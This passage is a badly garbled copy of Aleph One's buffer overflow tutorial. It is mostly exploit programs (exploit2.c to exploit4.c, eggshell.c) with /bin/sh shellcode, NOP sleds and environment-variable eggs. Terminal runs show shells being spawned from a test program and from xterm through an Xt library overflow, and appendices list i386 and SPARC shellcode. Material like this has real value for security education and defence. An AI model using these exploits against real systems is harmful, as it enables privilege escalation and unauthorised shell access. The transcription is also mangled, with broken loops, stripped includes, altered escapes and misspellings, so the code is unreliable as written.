Time. Therefore by knowing WHERE THE STACK Starts We can try to guess where the buffer we are trying to Overflow Will Be. Here Is A Little Program That Will Print ITS Stack Pointer: Sp.c -------------------------------------------------- ---------------------------- Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void main () { Printf ("0x% x / n", get_sp ()); } -------------------------------------------------- ---------------------------- -------------------------------------------------- ---------------------------- [aleph1] $ ./sp 0x8000470 [aleph1] $ -------------------------------------------------- ---------------------------- Lets Assume this Is The Program We are trying to overflow is: Vulnerable.c -------------------------------------------------- ---------------------------- Void Main (int Argc, char * argv []) { Char buffer [512]; IF (Argc> 1) STRCPY (Buffer, Argv [1]); } -------------------------------------------------- ---------------------------- WE CAN CREATE A Program That Takes As A Parameter A Buffer Size, And An Offset from its Own Stack Pointer (Where We Believe The Buffer Want To Overflow May Live). We'll Put The overflow string in an environment variable SO it is easy to manipulate: Exploit2.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = 4; For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (buff, "egg =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- Now We can try to guess what the buffer and offset shouth be: -------------------------------------------------- ---------------------------- [ALEPH1] $ ./exploit2 500 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG [ALEPH1] $ EXIT [ALEPH1] $ ./exploit2 600 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG Illegal instruction [ALEPH1] $ EXIT [aleph1] $ ./exploit2 600 100 Using address: 0xBffffd4c [ALEPH1] $ ./vulnerable $ EGG Segmentation Fault [ALEPH1] $ EXIT [ALEPH1] $ ./exploit2 600 200 USING Address: 0xBfffffCe8 [ALEPH1] $ ./vulnerable $ Eggsegmentation Fault [ALEPH1] $ EXIT . . . [ALEPH1] $ ./exploit2 600 1564 USING Address: 0xBfffff794 [ALEPH1] $ ./vulnerable $ EGG $ -------------------------------------------------- ---------------------------- AS we can see this is not an effect process. Trying to guess Offset Even While Knowing Where The Beginning Of The Stack Lives Is Nearly Impossible. We would need at best a hundred Tries, And at Worst a couple THOUSAND. THE PROBLEM IS WE NEED TO GUESS * EXACTLY * Where The Address of Our Code Will Start. if we are off by one byte more or less we williel just get a Segmentation Violation or a invalid instruction. One Way to Increase Our Changes is to pad The Front of Our Overflow Buffer with NOP Instructions. Almost All Processors Have A NOP INSTRUCTION That Performs A Null Operation. IT is usually used to delay execution for purposes of time. We will take Advantage of It and Fill Half of Our Overflow Buffer with Them. We Will Place Our shellcode at the center, and then follow it with the return addresses. if We are lucky and the return address points anywhere in The String of Nops, THEY WILL JUST GET EXECUTED Until The Reach Our Code. in The Intel Architecture the NOP instruction is one byte long and it translates to 0x90 In Machine Code. Assuming The Stack Starts At Address 0xFF, That S Stands for Shell Code, And Thatn N Stands for a NOP Instruction The New Stack Would Look LIKE THIS: Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY Buffer SFP RET A B C <------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE] ^ || _____________________ | Top of bottom of Stack Stack The New Exploits Is Then: Exploit3.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * PTR; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; For (i = 0; i BUFF [I] = NOP; PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2); For (i = 0; i * (PTR ) = shellcode [i]; BUF [BSIZE - 1] = '/ 0'; Memcpy (buff, "egg =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- A good selection for out 100 bytes more Than The sizeof the buffer we are trying to overflow. This will place ur code at the end Of the buffer we are trying to overflow, giving a lot of space for the nops, But Still Overwriting The Return Address with The Address We guest. The Buffer we are trying to overflow is 512 bytes long, so we'll use 612. let's Try to overflow Our test program with our new expedition: -------------------------------------------------- ---------------------------- [aleph1] $ ./exploit3 612 Using address: 0xBffffdb4 [ALEPH1] $ ./vulnerable $ EGG $ -------------------------------------------------- ---------------------------- WHOA! First Try! This change has improwd. Let's try it now on a real case of a bufferflow. We'll Use for Our Demonstration The Buffer Overflow on The Xt Library. for Our EXAMPLE, WE'LL Use xterm (all programs linked with the xt library is vulnerable). You must Be Running An X Server and Allow Connections to It from The LocalHost. Set Your Display Variable Accordingly. -------------------------------------------------- ---------------------------- [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit3 1124 Using address: 0xBffffdb4 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "랱? FF ? 1? ? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????? ??????????????????????????????????????????? ????? c [ALEPH1] $ EXIT [aleph1] $ ./exploit3 2148 100 Using address: 0xBffffd48 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "랱? FF ? 1? ? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????? ??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lostillegal Instruction [ALEPH1] $ EXIT . . . [ALEPH1] $ ./exploit4 2148 600 Using address: 0xBffffb54 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG Warning: color name "랱? FF ? 1? ? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ?????????????????????????? ??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lost Bash $ -------------------------------------------------- ---------------------------- Eureka! Less Than A Dozen Tries and We Found the Magic NumBers. If xterm WHERE Installed Suid Root This Would Now Be a root shell. Small bufferflows ~~~~~~~~~~~~~~~~~~~~~~ There Will Be Times When the Buffer you are trying to overflow is so Small That Either The shellcode Wont Fit Into It, And It Will Overwrite The Return Address with instructions instead of the address of out, or the Number of nops you can pad the front of the string with is so small what Chances of guessing their address is minuscule. To Obtain a shell from these Programs we will have to Go About it Another Way. This Particular Approach Only Works WHEN You Have Access To The Program's Environment Variables. What We Will Do Is Place Our Shellcode in An Environment Variable, And Then overflow the buffer with the address of this variable in membory. this Method Also Increases Your Changes of The Exploit Working As You Can Make The Environment Variable Holding The Shell Code as large as you. The Environment Variables Are Stored in The Top of the Stack WHEN THE Program is started, any model by setnv () area allocate Elsewhere. The Stack at The Beginning Then Looks Like this: Our New Program Will Take An Extra Variable, The Size of The Variable Containing the shellcode and nops. Our New Exploit Now Looks Like this: Exploit4.c -------------------------------------------------- ---------------------------- #include #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 #define nop 0x90 Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_esp (void) { __ASM __ ("MOVL% ESP,% EAX"); } Void Main (int Argc, char * argv []) { Char * buff, * ptr, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, Eggsize = Default_EGG_SIZE; IF (Argc> 1) BSIZE = ATOI (Argv [1]); IF (Argc> 2) OFFSET = ATOI (Argv [2]); IF (Argc> 3) Eggsize = ATOI (Argv [3]); IF (! (buff = malloc (bsize)))) Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = Get_ESP () - offset; Printf ("Using Address: 0x% X / N", ADDR); PTR = BUFF; Addr_ptr = (long *) PTR; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; I * (PTR ) = NOP; For (i = 0; i BUF [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BUFF, "RET =", 4); Putenv (BUFF); SYSTEM ("/ bin / bash"); } -------------------------------------------------- ---------------------------- Lets Try Our New Exploit with Our Vulnerable Test Program: -------------------------------------------------- ---------------------------- [ALEPH1] $ ./exploit4 768 USING Address: 0xBfffFDB0 [ALEPH1] $ ./vulnerable $ RET $ -------------------------------------------------- ---------------------------- Works like a charm. Now Lets Try IT on xterm: -------------------------------------------------- ---------------------------- [ALEPH1] $ export display =: 0.0 [ALEPH1] $ ./exploit4 2148 USING Address: 0xBfffFDB0 [aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent Warning: Color Name ??????????????????????????????????????????? ???? ??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lost $ -------------------------------------------------- ---------------------------- On The First Try! It has certinly increased outds. Depending how Much Environment Data The Exploit Program Has Compared with the program You are trying to expedition the guessed address may be to low ore. Experiment Both with Positive and NEGATIVE OFFSETS. Finding bufferflows ~~~~~~~~~~~~~~~~~~~~ AS Stated Earlier, Buffer overflows Are The Result of Stuffing More Information Into A Buffer Than IT IS Meant To Hold. Since C Does Not Have Any Built-in Bounds CHECKING, OVERFLOWTEN MANIFEST THEMSELVES AS WRITING PASTTHE END OF A Character Array. The Standard C Library Provides a Number of Functions for Copying OR Appending Strings, That Perform No Boundary Checking. Include: strcat (), strcpy (), sprintf (), and vSprintf (). Thase functions Operate on null-terminated strings, and do not check for overflow of the Receiving string. gets () is a function tria reads a line from stdin int A Buffer Until Either a Terminating Newline or EOF. IT Performs No Checks for Buffer overflows. The scanf () Family of Functions Can Also Be a Problem IF You area matching a sequence of non-white-space character characters (% s), or matching a Non-Empty Sequence of Characters from a specified set (% []), and the array Pointed to by the char Pointer, is not large enough to accept the whole Sequence of Characters, and you have not defined The Optional Maximum Field Width. if The target of any of these functions is a buffer of static size, AND ITHER ARGUMENT WAS SOMEHOW DERIVED from User Input There is a good POSILITY THAT You Might Be Able To Exploit a Buffer Overflow. Another Usual Programming Construct We Find Is The Use of A While Loop To READ One Character At a Time Into A Buffer from Stdin or Some File Until The End of line, End of file, or some other delimiter is reached. this type of Construct Usally Uses One of these Functions: Getc (), Fgetc (), or getchar (). If there is no expedit checks for overflows in the while loop, Such Programs Are Easily ExploITED. To conclude, grep (1) is your friend. The Sources for Free Operating Systems and their utilities is ready available. this Fact Becomes Quite .. Appendix A - Shellcode for Different Operating Systems / Architectures ~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~ i386 / linux -------------------------------------------------- ---------------------------- JMP 0x1f POPL% ESI MOVL% ESI, 0x8 (% ESI) XORL% EAX,% EAX MOVB% EAX, 0x7 (% ESI) MOVL% EAX, 0xC (% ESI) MOVB $ 0XB,% Al MOVL% ESI,% EBX LEAL 0x8 (% ESI),% ECX LEAL 0xC (% ESI),% EDX INT $ 0x80 XORL% EBX,% EBX MOVL% EBX,% EAX INC% EAX INT $ 0x80 Call -0x24 .String / "/ bin / sh /" -------------------------------------------------- ---------------------------- Sparc / Solaris -------------------------------------------------- ---------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 And% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% sp - 16] ST% SP, [% sp - 8] ST% G0, [% sp - 4] MOV 0x3b,% G1 TA 8 XOR% O7,% O7,% O0 MOV 1,% G1 TA 8 -------------------------------------------------- ---------------------------- SPARC / SunOS -------------------------------------------------- ---------------------------- SETHI 0XBD89A,% L6 OR% L6, 0x16E,% L6 SETHI 0XBDCDA,% L7 And% SP,% SP,% O0 Add% SP, 8,% O1 XOR% O2,% O2,% O2 Add% SP, 16,% SP STD% L6, [% sp - 16] ST% SP, [% sp - 8] ST% G0, [% sp - 4] MOV 0x3b,% G1 MOV -0x1,% L5 TA% L5 1 XOR% O7,% O7,% O0 MOV 1,% G1 TA% L5 1 -------------------------------------------------- ---------------------------- Appendix B - Generic BuffRAM ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h -------------------------------------------------- ---------------------------- #if Defined (__ i386__) && defined (__ linux__) #define NOP_SIZE 1 Char NOP [] = "/ x90"; Char shellcode [] = "/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B" "/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd" "/ x80 / xe8 / xdc / xff / xff / xff / bin / sh"; Unsigned long get_sp (void) { __ASM __ ("MOVL% ESP,% EAX"); } #ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__) #define NOP_SIZE 4 CHAR NOP [] = "/ xac / x15 / xa1 / x6e"; Char shellcode [] = "/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E" "/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08" "/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08"; Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ELIF Defined (__ sparc__) && defined (__ sun__) #define NOP_SIZE 4 CHAR NOP [] = "/ xac / x15 / xa1 / x6e"; Char shellcode [] = "/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E" "/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0" "/ xdc / x23 / xbf / xf8 / xc0 / x23 / xbf / xfc / x82 / x10 / x20 / x3b / xaa / x10 / x3f / XFF" "/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01" Unsigned long get_sp (void) { __ASM __ ("OR% SP,% SP,% I0"); } #ENDIF -------------------------------------------------- ---------------------------- Eggshell.c -------------------------------------------------- ---------------------------- / * * Eggshell v1.0 * * Aleph one / aleph1@underround.org * / #include #include #include "shellcode.h" #define default_offset 0 #define default_buffer_size 512 #define default_egg_size 2048 Void Usage (Void); Void Main (int Argc, char * argv []) { Char * PTR, * BOF, * EGG; Long * addr_ptr, addr; INT offset = default_offset, bsize = default_buffer_size; INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF Switch (c) { Case 'a': Align = ATOI (OPTARG); Break; Case 'b': Bsize = atoi (OPTARG); Break; Case 'E': Eggsize = atoi (OPTARG); Break; Case 'o': OFFSET = ATOI (OPTARG); Break; Case '?': USAGE (); exit (0); } IF (Strlen (shellcode> eggsize) { Printf ("shellcode is larger the the egg./N"); exit (0); } IF (! (bof = malloc (bsize)))) { Printf ("Can't Allocate Memory./N); exit (0); } IF (! (egg = malloc (eggsize))) { Printf ("Can't Allocate Memory./N); exit (0); } AddR = get_sp () - offset; Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N", Bsize, Eggsize, Align; Printf ("[Address: / T0x% X / Toffset: / T / T% D / T / T / T / T / T%); Addr_ptr = (long *) BOF; For (i = 0; i * (addr_ptr ) = addr; PTR = EGG; For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n M = (N align)% NOP_SIZE; * (PTR ) = NOP [M]; } For (i = 0; i * (PTR ) = shellcode [i]; Bof [BSIZE - 1] = '/ 0'; Egg [Eggsize - 1] = '/ 0'; Memcpy (EGG, "EGG =", 4); Putenv (EGG); Memcpy (BOF, "BOF =", 4); Putenv (BOF); SYSTEM ("/ bin / sh"); } Void usage (void) { (void) FPRINTF (stderr, "USAGE: Eggshell [-A } -------------------------------------------------- ----------------------------